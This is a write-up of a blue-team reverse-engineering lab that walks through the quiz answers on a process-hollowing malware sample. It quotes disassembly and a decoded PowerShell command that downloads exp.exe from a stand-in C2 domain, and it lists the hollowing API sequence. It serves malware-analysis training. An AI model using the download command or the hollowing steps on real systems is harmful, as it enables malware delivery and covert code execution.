

## Blue Team Labs Online: Injection Series Part 4

The following writeup is for [Injection Series Part 4](#) on Blue Team Labs Online, it's an easy lab that involves reverse engineering a binary using IDA among other tools. The injection series is an incredible primer to reverse engineering malware, so I highly recommend completing it.

### Question 1) What is the process that would be first spawned by the sample? And what is the API used? (Format: Format: process, APICall)

After opening up the binary in IDA, you can see a call to `CreateProcessA`, along with `notepad.exe`'s full path being pushed to the stack just before the call:

```
push offset CommandLine ; "c:\\windows\\syswow64\\notepad.exe"
movq   qword ptr [edi+10h], xmm0
push   0                ; lpApplicationName
mov     [ebp+ReturnLength], 0
call    ds:CreateProcessA
```

Therefore, the answer is `notepad.exe,CreateProcessA`.

### Question 2) The value 4 has been pushed as a parameter to this API, what does that denote? (Format: FLAG)

We can see the value 4 being pushed as the `dwCreationFlags` parameter. If you look at the documentation concerning this function, we can see that the hex value 4 denotes `CREATE_SUSPENDED`:

**CREATE\_SUSPENDED**  
0x00000004

The primary thread of the new process is created in a suspended state, and does not run until the `ResumeThread` function is called.

### Question 3) What is the domain that the malware tries to connect? (Format: domain.tld)

After examining the strings within the binary, we can see a suspicious encoded PowerShell command:

```
push offset Command ; "powershell.exe -ep bypass -windowstyle "...
```

If you copy this to CyberChef, we can find the domain (`somec2.sever`):

The screenshot shows the CyberChef web interface. On the left, under the 'Recipe' tab, the 'From Base64' section is selected. It shows a dropdown for 'Alphabet' set to 'A-Za-z0-9+/' and a checked box for 'Remove non-alphabet chars'. Below this, the 'Decode text' section is visible, showing 'Encoding' set to 'UTF-16LE (1200)'. On the right, the 'Input' field contains a long Base64-encoded string. The 'Output' field shows the decoded result: `Invoke-WebRequest -Uri http://somec2.sever/exp.exe -OutFile c:\\windows\\temp\\exp.exe`.

**Question 4) What is the cmdlet used to download the file and what is the path of the file stored? (Format: CMDLET, path)**

The cmdlet being used is Invoke-WebRequest, and the path is C:\Windows\tmp\exp.exe, so the answer is Invoke-WebRequest,C:\Windows\temp\exp.exe

**Question 5) Just after the file download instructions, a function from ntdll has been loaded and invoked by the sample. What is the function name? (Format: Function)**

NtUnmapViewOfSection

```
|push    offset ProcName ; 'NtUnmapViewOfSection'  
|push    offset ModuleName ; 'ntdll'
```

**Question 6) After the allocation of memory and writing the date into the allocated memory. What are the 2 APIs used to update the entry point and resume the thread? (Format: API, API)**

SetThreadContext is used to update the entry point and ResumeThread is used to resume the thread:

```
|call    ds:SetThreadContext  
|push    dword ptr [edi+4] ; hThread  
|call    ds:ResumeThread
```

**Question 7) What is the MITRE ID for this technique implemented in this sample? (Format: TXXXX.XXX)**

The technique used here is process hollowing, this aligns with the observed behaviour of:

- Creating a process in a suspended state.
- Unmapping the original executable (NtUnmapViewOfSection).
- Writing malicious code into the allocated memory,
- Updating the entry point.
- Resuming execution.

Therefore, the MITRE ID is T1055.012 (aka Process Injection: Process Hollowing).